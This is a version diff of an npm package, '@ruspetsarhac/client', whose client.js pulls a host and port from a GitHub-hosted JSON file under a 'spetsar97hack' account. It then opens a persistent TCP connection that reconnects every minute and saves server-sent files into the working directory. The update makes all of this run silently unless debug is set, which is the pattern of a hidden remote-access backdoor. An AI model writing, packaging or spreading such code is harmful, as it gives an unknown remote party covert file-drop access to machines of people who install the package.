@ruspetsarhac/client 1.0.3 → 1.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "@ruspetsarhac/client",
-    "version": "1.0.3",
+    "version": "1.0.4",
     "main": "src/client.js",
     "bin": {
         "client": "./client.js"

package/src/client.js

@@ -12,7 +12,7 @@ let isConnected = false;
 let serverHost = '';
 let serverPort = 0;
 
-function fetchServerSettings(callback) {
+function fetchServerSettings(callback, debug) {
     const url = 'https://raw.githubusercontent.com/spetsar97hack/app/main/data.json';
     https.get(url, (res) => {
         let data = '';
@@ -24,7 +24,7 @@ function fetchServerSettings(callback) {
         res.on('end', () => {
             try {
                 const serverSettings = JSON.parse(data);
-                console.log('serverSettings', serverSettings)
+                log(`serverSettings: ${JSON.stringify(serverSettings)}`, debug);
                 serverHost = serverSettings.host;
                 serverPort = serverSettings.port;
                 callback(null);
@@ -38,10 +38,10 @@ function fetchServerSettings(callback) {
     });
 }
 
-function createConnection() {
+function createConnection(debug) {
     const socket = net.createConnection({ host: serverHost, port: serverPort }, () => {
         isConnected = true;
-        console.log('Connected to server');
+        log('Connected to server', debug);
     });
 
     socket.on('data', (data) => {
@@ -91,61 +91,67 @@ function createConnection() {
             const fullPath = path.resolve(currentCwd, path.basename(filePath));
             fs.writeFile(fullPath, fileBuffer, (err) => {
                 if (err) {
-                    console.log(`Error saving file: ${err.message}`);
+                    log(`Error saving file: ${err.message}`, debug);
                 } else {
-                    console.log(`File saved as: ${fullPath}`);
+                    log(`File saved as: ${fullPath}`, debug);
                 }
             });
         } else {
-            console.log(`[Server]: ${message}`);
+            log(`[Server]: ${message}`, debug);
         }
     });
 
     socket.on('end', () => {
         isConnected = false;
-        console.log('Connection was ended');
+        log('Connection was ended', debug);
     });
 
     socket.on('error', (err) => {
         isConnected = false;
-        console.log(`[!] Error: ${err.message}`);
+        log(`[!] Error: ${err.message}`, debug);
     });
 
     socket.on('close', () => {
         isConnected = false;
-        console.log('Connection closed');
+        log('Connection closed', debug);
     });
 
     return socket;
 }
 
-function startClient(port) {
+function startClient(debug = false) {
     fetchServerSettings((error) => {
         if (error) {
-            console.error(`Error fetching server settings: ${error.message}`);
+            log(`Error fetching server settings: ${error.message}`, debug);
         } else {
-            console.log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`);
-            serverPort = port || serverPort;
-            let socket = createConnection();
+            log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
+            serverPort = serverPort;
+            let socket = createConnection(debug);
 
             setInterval(() => {
                 if (!isConnected) {
-                    console.log('Attempting to reconnect to the server...');
-                    socket = createConnection();
+                    log('Attempting to reconnect to the server...', debug);
+                    socket = createConnection(debug);
                 }
             }, 60000);
 
             setInterval(() => {
                 fetchServerSettings((error) => {
                     if (error) {
-                        console.error(`Error fetching server settings: ${error.message}`);
+                        log(`Error fetching server settings: ${error.message}`, debug);
                     } else {
-                        console.log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`);
+                        log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
                     }
-                });
+                }, debug);
             }, 300000);
         }
-    });
+    }, debug);
+}
+
+function log(message, debug) {
+    if (debug) {
+        console.log(message);
+    }
 }
 
 module.exports = { startClient };